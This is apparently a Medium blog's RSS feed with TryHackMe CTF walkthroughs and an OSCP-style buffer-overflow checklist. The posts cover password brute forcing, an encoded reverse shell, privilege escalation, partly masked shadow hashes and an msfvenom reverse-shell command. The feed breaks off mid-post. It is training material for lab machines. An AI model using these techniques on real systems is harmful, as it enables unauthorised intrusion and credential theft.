<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by troy10101 on Medium]]></title>
        <description><![CDATA[Stories by troy10101 on Medium]]></description>
        <link>https://medium.com/@troy10101?source=rss-29e12e6ba5e7------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*gMgHQ3Y3xYTxRJCBzTWFQw.jpeg</url>
            <title>Stories by troy10101 on Medium</title>
            <link>https://medium.com/@troy10101?source=rss-29e12e6ba5e7------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 04:46:44 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@troy10101/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe — Basics = Covered!]]></title>
            <link>https://troy10101.medium.com/tryhackme-basics-covered-25e7841a93f7?source=rss-29e12e6ba5e7------2</link>
            <guid isPermaLink="false">https://medium.com/p/25e7841a93f7</guid>
            <category><![CDATA[tryhackme-pre-security]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[blog]]></category>
            <dc:creator><![CDATA[troy10101]]></dc:creator>
            <pubDate>Tue, 06 Jul 2021 00:57:10 GMT</pubDate>
            <atom:updated>2021-07-10T02:23:10.007Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Basics = Covered!</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0SFiDW12Nj7BjKrQZUu5oQ.png" /><figcaption><a href="https://tryhackme.com/">https://tryhackme.com</a> — <a href="https://tryhackme.com/path/outline/presecurity">https://TryHackMe.com/path/outline/presecurity</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u9ebKasvpIDkX7vIOo7fyg.png" /></figure><p>The Pre-Security learning path is an excellent resource for individuals wanting to dip their toes into cyber security but don’t know where to start.</p><p>This learning path will provide you with basic understanding of how what you are doing, at this very moment, actually works. The learning path covers networking, how websites work, Linux and Windows fundamentals. Content is presented in an easy to grasp gamified way. Basics = Covered!</p><p>This path is an excellent primer to everything else TryHackMe has to offer.</p><p>Here is my referral link to get you started:<br>https://tryhackme.com/signup?referrer=20f5bc92efa57892454b08ea169a1b8193b04856</p><p>Add me, troy10101, to your TryHackMe friends list and lets learn together!</p><p>Lets Start Hacking!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*fKtcW4X5yIU7_8y9Dk_D1A.png" /><figcaption><a href="https://tryhackme.com/path/outline/presecurity">https://TryHackMe.com/path/outline/presecurity</a></figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=25e7841a93f7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Try Hack Me — Year of the Fox]]></title>
            <link>https://troy10101.medium.com/try-hack-me-year-of-the-fox-f81776d4ea8c?source=rss-29e12e6ba5e7------2</link>
            <guid isPermaLink="false">https://medium.com/p/f81776d4ea8c</guid>
            <category><![CDATA[brute-force]]></category>
            <category><![CDATA[port-forwarding]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[troy10101]]></dc:creator>
            <pubDate>Mon, 05 Jul 2021 17:53:09 GMT</pubDate>
            <atom:updated>2021-08-04T15:48:27.431Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Year of the Fox</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PAielAPu3ZjCJkSk1mRGgQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*0LEFQ5BXz5BOY2xb23Koig.png" /><figcaption><a href="https://tryhackme.com/room/yotf">https://tryhackme.com/room/yotf</a></figcaption></figure><h3>Summary</h3><p>Landing page on default nmap enumerated HTTP port revels a password protected web directory. Using username located by enum4linux or smbclient brute force the website with hydra. A base64 encoded payload passed with burp grants foothold shell. Use socat to port forward ssh to a port that can be bruted. Using bruted credentials login and copy PATH to tmp rename it as SUID. Execute it to gain root shell. This works because the binary does not have an absolute path set.</p><h3>Action</h3><p>Nmap Scan</p><p># Nmap 7.91 scan initiated Tue May 11 15:26:02 2021 as: nmap -sC -sV -p- -vvv -oN initialnmap.txt 10.10.25.225<br>Nmap scan report for 10.10.25.225<br>Host is up, received echo-reply ttl 61 (0.20s latency).<br>Scanned at 2021–05–11 15:26:02 EDT for 765s<br>Not shown: 65532 closed ports<br>Reason: 65532 resets<br>PORT STATE SERVICE REASON VERSION<br>80/tcp open http syn-ack ttl 61 Apache httpd 2.4.29<br>| http-auth: <br>| HTTP/1.1 401 Unauthorized\x0D<br>|_ Basic realm=You want in? Gotta guess the password!<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>|_http-title: 401 Unauthorized<br>139/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 3.X — 4.X (workgroup: YEAROFTHEFOX)<br>445/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 4.7.6-Ubuntu (workgroup: YEAROFTHEFOX)<br>Service Info: Hosts: year-of-the-fox.lan, YEAR-OF-THE-FOX</p><p>Host script results:<br>|_clock-skew: mean: -19m33s, deviation: 34m37s, median: 25s<br>| nbstat: NetBIOS name: YEAR-OF-THE-FOX, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)<br>| Names:<br>| YEAR-OF-THE-FOX&lt;00&gt; Flags: &lt;unique&gt;&lt;active&gt;<br>| YEAR-OF-THE-FOX&lt;03&gt; Flags: &lt;unique&gt;&lt;active&gt;<br>| YEAR-OF-THE-FOX&lt;20&gt; Flags: &lt;unique&gt;&lt;active&gt;<br>| \x01\x02__MSBROWSE__\x02&lt;01&gt; Flags: &lt;group&gt;&lt;active&gt;<br>| YEAROFTHEFOX&lt;00&gt; Flags: &lt;group&gt;&lt;active&gt;<br>| YEAROFTHEFOX&lt;1d&gt; Flags: &lt;unique&gt;&lt;active&gt;<br>| YEAROFTHEFOX&lt;1e&gt; Flags: &lt;group&gt;&lt;active&gt;<br>| Statistics:<br>| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00<br>| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00<br>|_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00<br>| p2p-conficker: <br>| Checking for Conficker.C or higher…<br>| Check 1 (port 14796/tcp): CLEAN (Couldn’t connect)<br>| Check 2 (port 46194/tcp): CLEAN (Couldn’t connect)<br>| Check 3 (port 28614/udp): CLEAN (Failed to receive data)<br>| Check 4 (port 55680/udp): CLEAN (Failed to receive data)<br>|_ 0/4 checks are positive: Host is CLEAN or ports are blocked<br>| smb-os-discovery: <br>| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)<br>| Computer name: year-of-the-fox<br>| NetBIOS computer name: YEAR-OF-THE-FOX\x00<br>| Domain name: lan<br>| FQDN: year-of-the-fox.lan<br>|_ System time: 2021–05–11T20:39:07+01:00<br>| smb-security-mode: <br>| account_used: guest<br>| authentication_level: user<br>| challenge_response: supported<br>|_ message_signing: disabled (dangerous, but default)<br>| smb2-security-mode: <br>| 2.02: <br>|_ Message signing enabled but not required<br>| smb2-time: <br>| date: 2021–05–11T19:39:07<br>|_ start_date: N/A</p><p>Read data files from: /usr/bin/../share/nmap<br>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br># Nmap done at Tue May 11 15:38:47 2021–1 IP address (1 host up) scanned in 765.08 seconds</p><p>SMB Map</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dHm0epCdOMOLwBOU5-VB0w.png" /></figure><p>Enum4Linux</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*Pq-0hGssO_W9FB6712_FNA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*7Ze-eFxFFKX3cKozUjkzMg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*_DZwMvlXodvXUcmyOEGWHQ.png" /></figure><p>Web server is directory protected</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*hiMWKqC905llPYNtF5yjsw.png" /></figure><p>Brute users found previously with Hydra</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J0vErAajZWwDOVOtsJVolg.png" /></figure><p>Login to website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XrdizfvAV3NaiaOOvu6fCA.png" /></figure><p>Input is filtered. Can not use any special characters</p><p>Base64 encode a python reverse shell to bypass filter<br>Catch with netcat, obtain user flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KFRnwz9KwoMzoSquMMwV2Q.png" /></figure><p>Upload enumeration scripts<br>Linpeas revealed ssh running on local host<br>User XXX is only allowed user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*6uwCvFWJEx5XgtdgXTo2lA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*eJ9LfDE5EgFcNtIm2sbHfw.png" /></figure><p>Upload socat binary, to remote machine and use it to port forward SSH to something we can brute</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*eJ9LfDE5EgFcNtIm2sbHfw.png" /></figure><p>Use hydra to brute password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R5ga2K_GbW6okvdUroGLuQ.png" /></figure><p>Now, we can relax. We have SSH credentials!</p><p>SSH to machine as XXX<br>Make sure to use port 8888</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Idz1OR3BttLo_b35yjPDog.png" /></figure><p>shutdown is NOT using absolute path. Copy bash shell, rename it to shutdown. Run the binary and be rewarded with a root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*54ZJI0QskMVhodXQk-_w4w.png" /><figcaption>Note: Copied initial shell correctly, this is a screen shot after initial root for display.</figcaption></figure><p>Root Flag is not in normal place!!</p><p>Thanks for reading! :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PR4hd275Ojahhi5-5vt2FQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f81776d4ea8c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Basic Buffer Overflow]]></title>
            <link>https://troy10101.medium.com/basic-buffer-overflow-aa141bb9083b?source=rss-29e12e6ba5e7------2</link>
            <guid isPermaLink="false">https://medium.com/p/aa141bb9083b</guid>
            <category><![CDATA[buffer-overflow]]></category>
            <category><![CDATA[bofs]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <dc:creator><![CDATA[troy10101]]></dc:creator>
            <pubDate>Sat, 03 Jul 2021 16:59:49 GMT</pubDate>
            <atom:updated>2021-07-03T17:40:17.525Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>While learning basic buffer overflows I found it very difficult to grasp, seemed overwhelming. Iterated on the topic for a week or so, finally understood. I followed guidance from <a href="http://twitter.com/0xTib3rius">@0xTib3rius</a>, <a href="http://twitter.com/thecybermentor">@thecybermentor</a> and <a href="http://twitter.com/LiveOverflow">@LiveOverflow</a> among countless others. All have covered this topic is great detail. This writing is a combination of their teachings and my learning written as a “checklist”. I made this for myself as an aid/study guide. Hope you find it useful!</p><p>Adding this to the “Yay.. I finally get it” pile of BOF write ups and walkthroughs.</p><h3>Resources</h3><p><strong>Videos I used to learn basic stack BOF</strong></p><p>Tib3rius: Stack Based BOF: <a href="https://youtu.be/1X2JGF_9JGM">https://youtu.be/1X2JGF_9JGM</a><br>The Cyber Mentor: BOF Made Easy: <a href="https://youtu.be/qSnPayW6F7U">https://youtu.be/qSnPayW6F7U</a><br>The Cyber Mentor: Brainpan THM WT: <a href="https://youtu.be/T1-Sds8ZHBU">https://youtu.be/T1-Sds8ZHBU</a><br>LiveOverflow: <a href="https://www.youtube.com/c/LiveOverflowCTF/videos">https://www.youtube.com/c/LiveOverflowCTF/videos</a></p><p><strong>Scripts used can be found here:</strong><br>Tib3rius: buffer-overflows.rst: <a href="https://github.com/Tib3rius/Pentest-Cheatsheets/blob/master/exploits/buffer-overflows.rst">https://github.com/Tib3rius/Pentest-Cheatsheets/blob/master/exploits/buffer-overflows.rst</a></p><h3>Action</h3><p>This assumes you have found the vulnerable application and know how to connect to it locally and remotely. Also, assumes you have copied the app to your local Immunity machine.</p><p><strong>1. Load the app in Immunity debugger</strong></p><p><strong>2. Tell Immunity where to store mona’s working data </strong><br> — !mona config -set workingfolder c:\mona\%p</p><p><strong>3. Run the app in Immunity</strong></p><p><strong>4. Fuzz the app from attacking machine using fuzz.py</strong></p><p><strong>5. Make note of crash point (for cyclic pattern creation)</strong></p><p><strong>6. Obtain and Verify EIP control with cyclic pattern</strong> <br>Create cyclic pattern with metasploit framework<br> /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l &lt;number of bytes fuzzed&gt;`<br> — Copy the created cyclic pattern to the payload of exploit.py<br>Reload and restart the app in Immunity debugger<br>Run exploit.py<br><strong> </strong>Use mona to find EIP<br> — !mona findmsp -distance &lt;number of bytes fuzzed&gt;<br> — Look for and make note of EIP <br> — Copy offset found with mona to offset string in exploit.py<br> — Set the payload to “” <br> — Set the retn to “BBBB”<br> — Reload app in Immunity <br> — Send exploit.py<br> — EIP should be over written with 42424242 (‘hex of BBBB’)<br> — If EIP is overwritten then continue. If not start over you dont have control of EIP</p><p><strong>7. Find bad characters</strong><br>Generate a byte array using mona<br> — !mona bytearray -b “\x00”<br> — — make note of where the bytearray.bin is stored for compairing later<br>Generate a string of bad characters <br> — run badchars.py<br> — copy output to payload of exploit.py<br> — reload/start app in Immunity<br> — send exploit.py<br> — make note of ESP address (right click &gt;copy address)<br> — use mona to compare badchar payload to mona byte array<br> — — !mona compare -f C:\mona\oscp\bytearray.bin -a (ESP address)<br> — Add output (besides x00 since we did already) to NEW mona byte array.. these are badchars<br> — — For each bad character found with <em>mona compare</em> add bad character to NEW mona byte array, one at a time <br> — — — !mona bytearray -b “\x00(newbadchar)”`<br> — — — edit payload of exploit.py to remove found badchars one by one<br> — — — restart app in Immunity<br> — — — send exploit.py<br> — — — compare byte array <br> — — — — !mona compare -f C:\mona\oscp\bytearray.bin -a (ESP address)`<br> — — — repeat until all bad chars found.. compare status “Unmodified”<br> <br><strong>8. Find the jump (JMP ESP) points that dont have bad characters</strong><br> — !mona jmp -r esp -cpb “\x(BAD CHARS LIST)”<br> — choose an address <br> — copy address to exploit.py retn (overwrite BBBB)<br> — — Make note of system architecture.. if Little Endian (x86) make sure you enter address backwards with /x every two bytes (characters) (625011AF would be \xAF\x11\x50\x62 in Little Endian)</p><p><strong>9. Generate payload with msvenom</strong><br> — msfvenom -p windows/shell_reverse_tcp LHOST=(*YOUR IP*) LPORT=4444 EXITFUNC=thread -b “\x(all bad chars found)” -f c<br> — Copy resulting c code output to payload of exploit.py (do not include semicolon or anything other than hex)</p><p><strong>10. Prepend NOPs to allow for payload run time and memory space to unpack payload</strong><br> — Edit exploit.py padding like this: padding = “\x90” * 16 (NOTE: Sled can be greater than 16)</p><p><strong>11. Exploit</strong><br> — Start a netcat listener on chosen port in payload<br> — Restart/reload app on live environment <br> — Run exploit.py and hope for the best!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*y7Jnci9IMDM7AwdyEUwpEA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aa141bb9083b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Cherry Blossom]]></title>
            <link>https://troy10101.medium.com/tryhackme-cherry-blossom-4020fca29d70?source=rss-29e12e6ba5e7------2</link>
            <guid isPermaLink="false">https://medium.com/p/4020fca29d70</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[steganography]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[troy10101]]></dc:creator>
            <pubDate>Thu, 01 Jul 2021 01:50:46 GMT</pubDate>
            <atom:updated>2021-07-01T02:01:26.974Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Cherry Blossom</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-snPNuqSbhmFNe6bMWbMBw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*plCtx5sVY061lCuzVfLZrw.png" /><figcaption><a href="https://tryhackme.com/room/cherryblossom">https://tryhackme.com/room/cherryblossom</a></figcaption></figure><h3>Summary</h3><p>This room is heavy in cryptography, time consuming and fun! Start with nmap. Finding smb open to anonymous access download journal. Using hexeditor change header to zip denotation and use stegpy to extract zip file from image. Open file with cracked password and read journal for clues. Find wordlists for later use. Use hydra to brute ssh and gain foothold. Manually enumerate and find shadow.bak is readable. Copy, crack hash and switch to user. Run Linux exploit suggester to find machine is vulnerable to sudo overflow, CVE-2019–28634 pwfeedback. Compile exploit locally. Upload and execute exploit to drop root shell and claim flag.</p><h3>Action</h3><p>Nmap results</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nTCJjogP698mBHgrfcIEIw.png" /></figure><p>Add cherryblossom.thm to /etc/hosts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*njpbSBP_9PwtqgwAD0ASjA.png" /></figure><p>SMB Enumeration</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*11SP6-48upN1SrNhU3FS1Q.png" /></figure><p>Download journal.txt and find it’s hex header marked incorrectly (bad zip offset is clue) as it is a jpg file not a text file.. or is it?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kzS46NcKXkrmuqtiy6QIfg.png" /></figure><p>Using Hexeditor verify magic number. Has it been changed from zip to seem like a jpg? It has, since zip magic number is 50 4b 03 04. Change hex header and extract data from image using stegpy<br><a href="https://en.wikipedia.org/wiki/List_of_file_signatures">https://en.wikipedia.org/wiki/List_of_file_signatures</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*EWWqdNgm7iBhIyY7KiY6fw.png" /></figure><p>Attempt to unzip and met with a password prompt. Use fcrackzip to obtain password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*xsAFW106djP11pqzXgzSTQ.png" /></figure><p>Finally extract the file!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*spHVNWXeLeJwnMVcq9ULIg.png" /></figure><p>Ctz is a cherry tree encrypted file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*8DvzUhI8M7rltAbFUVgkDQ.png" /></figure><p>Use 7z2john to create a “johnable” hash. Use john to crack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ymtXI6tIpNJlIIVWqqs60Q.png" /></figure><p>In the journal ramblings the author mentions lxxx being his girlfriend. There are wordlists in the extracted cherrytree document. Remember lxxx, it might be a user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*D53mlu3Ejo4ZwQ2EAW0djg.png" /></figure><p>Locate and turn in the journal flag.</p><p>Lets try to brute lxxx’s SSH creds with hydra</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8GWIAnoKBFXLwAvJAiNhOQ.png" /></figure><p>SSH as lxxx to machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lVjtvl882R2TbyHT-me2OQ.png" /></figure><p>Output /etc/passwd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3iLQCUskr70EJmuCpDzB-Q.png" /></figure><p>Manually enumerate and fine shadow.bak readable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*uKNN94EkTdDSv4V1ybFFSw.png" /></figure><p>Copy hashes from shadow.bak</p><pre>joxxx:$6$zVxxxxxxxxxxT/aM2UMXqNnqsxxx7K/hHBG8DkyACiV6ykYmxsZG.vLALyf7kjsqxxxW391j1bue2/.SVm91uno5DUX7ob0:18301:0:99999:7:::<br>lxxx:$6$3GPkxxxxxxxxxxNWsBHgo6XxxxkI2JG6loUkZBIOtuOxjZpD71spVdgqM4CTXMFYVScHHTCDP0dG2rhDA8uC18/Vid3JCk0:18301:0:99999:7:::<br>root:$6$l81PoxxxxxxxxxxmYvxxxrO0gzuJCCXF9p08BQ8ALp5clk/E6RwSxxrw97h2Ix9O6cpVHnq1xxxxxxxCubATvANEv9Od9F1:18301:0:99999:7:::</pre><p>Start from the top and attempt to crack joxxx hash with hashcat</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I3WY4By_Uawx6RkpM-1WCg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hvnbTdJge1r6yw7V1dX29g.png" /></figure><p>Switch to user and claim user flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*a8u4vNVsEkPviwHBFQV8Qg.png" /></figure><p>Check sudo permissions and notice password feed back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*t1EwyivJIvDH1NdlWYQMYA.png" /></figure><p>Linux exploit suggester suggests CVE-2019–18634 pwfeedback.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LKNJE5kqP0hK9BjpEtladA.png" /></figure><p>Verify machine is vulnerable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YT_pS_c87-egoP7o3-gFqQ.png" /></figure><p>Segmentation fault! Check for compiler.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*nUPMTaSxwAHTjVHOw4TcQg.png" /></figure><p>No compiler on client machine. <br>Download to attacking machine, compile and upload to client. <br>Run exploit and claim root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*UeQ_tBn0uRcVBqzb7E-9wg.png" /></figure><p>Thanks for reading! :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*pMZHz6nHXtkgitquPbie2A.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4020fca29d70" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Year of the Jellyfish]]></title>
            <link>https://troy10101.medium.com/tryhackme-year-of-the-jellyfish-bf6d9f9092a8?source=rss-29e12e6ba5e7------2</link>
            <guid isPermaLink="false">https://medium.com/p/bf6d9f9092a8</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[year-of-the-jellyfish]]></category>
            <dc:creator><![CDATA[troy10101]]></dc:creator>
            <pubDate>Tue, 29 Jun 2021 04:00:54 GMT</pubDate>
            <atom:updated>2021-07-01T00:08:38.264Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Year of the Jellyfish</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EkYCaEdsrGDYU0earAix5g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*pv3Hwz7O7wZ5Ue1X7P3NqQ.png" /><figcaption><a href="https://tryhackme.com/room/yearofthejellyfish">https://tryhackme.com/room/yearofthejellyfish</a></figcaption></figure><h3>Introduction</h3><p>This is a stumble-through showing my thought process, success and failures attempting this machine.</p><p>This room has a public facing IP. Throttle down scans to a non-intrusive level or your ISP may block your attacks. This happened to me a few times. I had to terminate and re-deploy quite a bit until it dawned on me.</p><p>On release this room offered a contest to win an OSCP voucher.</p><p>Knowing when to stop attempting a certain vector is one of the biggest parts of the pentesting/red team game. Having the ability to drop one vector or thought process and immediately/fluently pick another is proving extremely valuable. A wide range of skills is absolutely necessary for any-color team. I can <em>feel</em> these skills developing, over time, as I progress. Hacking is getting easier!</p><h3>Summary</h3><p>Year of the Jellyfish on TryHackMe is heavy on the web side. Surprisingly, didn&#39;t have to use burp. Initial enumeration reveals 21, 22, 53, 80, 443, 8096 and 22222 open. Add subdomains from SSL certificate granting access to monitorr “framework”. Use browser navigation to reset monitorr database and register new user. Tool new user and infiltrate reverse shell granting foothold. Find machine vulnerable to CVE-2019–7304 dirty_sock. Deploy exploit and obtain root flag.</p><h3>Action</h3><p>Nmap Results</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4k6E2ws4BM2fowPA6QHBew.png" /></figure><p>Pico CMS version 2.1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*JNKeQpRl1S-tX9Ft2laCUg.png" /></figure><p>Apache 2.4.29</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*Tn5FCASLyrmFcmz2mLtUoA.png" /></figure><p>Headed to port 80 on IP to start and was met with host of robyns-petshop.thm</p><p>Add robyns-petshop.thm to /etc/hosts and reload webpage</p><p>Possible user name:<br>Robyn</p><p>Gobuster it! (might want to set throttle to default, -t 40 resulted in an ISP block)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gr2qLWrPdKeLdMhLhw7QTA.png" /></figure><p>Jellyfin media platform<br>I spent a good deal of time attempting to brute Jellyfin.. incorrect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1HyhOv5M0htIRt58idwkKw.png" /></figure><p>Considered attempting a reverse proxy to allow password reset..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rk1OGo4rUCUbBkV6SBeQaw.png" /></figure><p>Navigating to port 8000 looks promising. Spent a good deal of time fuzzing ID_HERE. incorrect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ddE3X2KYpBUjzVtBsXg3A.png" /></figure><p>Another time sink attempting DNSMASQ exploit.. incorrect</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DZ-Vs4lmD9SlD69fly_M5w.png" /></figure><p>Remembering SSL I decided to check the certificate. This is where everything fell into place.<br>Add sub-domains to /etc/hosts from certificate</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mNH5fImpyZutxfOdzaIojg.png" /><figcaption><em>Note: If I knew then what I know now I would have used dig on initial scan. Considering it has a public facing IP.. should have clued me in to this.. ignorance is bliss.. anyway…</em></figcaption></figure><p>Navigate to monitorr.robyns-petshop.thm</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qw49iQZvn4t1pEWykRfz_Q.png" /></figure><p>Attempted this RCE exploit.. incorrect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dO7cTx6hYpGE4TuffnE1hQ.png" /></figure><p>After some research (being modest.. this took awhile too) I came across this blog which I loosely followed.. SUCCESSFULLY.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lSRkZ9zMQPlkNtu47OZfUA.png" /><figcaption><a href="https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/">https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/</a></figcaption></figure><p>Basically we have to reload the database from the installation directory as if we were loading the application for the first time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sz76eRmCBVUWFvXsLBAQMA.png" /></figure><p>Download the databases (datausers.db, users.db (this isn’t needed but good practice))</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*DgEDuu5Tlw9sLMuRSZaXgw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xMSHLiKK4fDNgnOt92yXDg.png" /></figure><p>View database</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*HuxbVni-1hqHpnrTWesHkw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MVJegGIeBaNthmSqCjvYuA.png" /></figure><p>At this point I thought I was in. Let john run for about an hour and took a break..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sX_5P60baXa4yMFghXyzVQ.png" /></figure><p>Further manual enumeration I found the install files to reload the database and data directory</p><p>In the assets/config/_installation/ folder there is a php file to reload the database and install the data directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*DgEDuu5Tlw9sLMuRSZaXgw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*Aro7pJS0I1mppUdieMcfzQ.png" /></figure><p>Output after navigating ./mkbdajax.php. We have reset the database!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MpoVIvXMeO-uITcvUdOOhQ.png" /></figure><p>Head to the login page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*mtRh7WRBrv9x8NAwrjsQlQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5CPDCIUQBMnlR8VFklwAsA.png" /></figure><p>Register a new admin account</p><figure><img alt="" 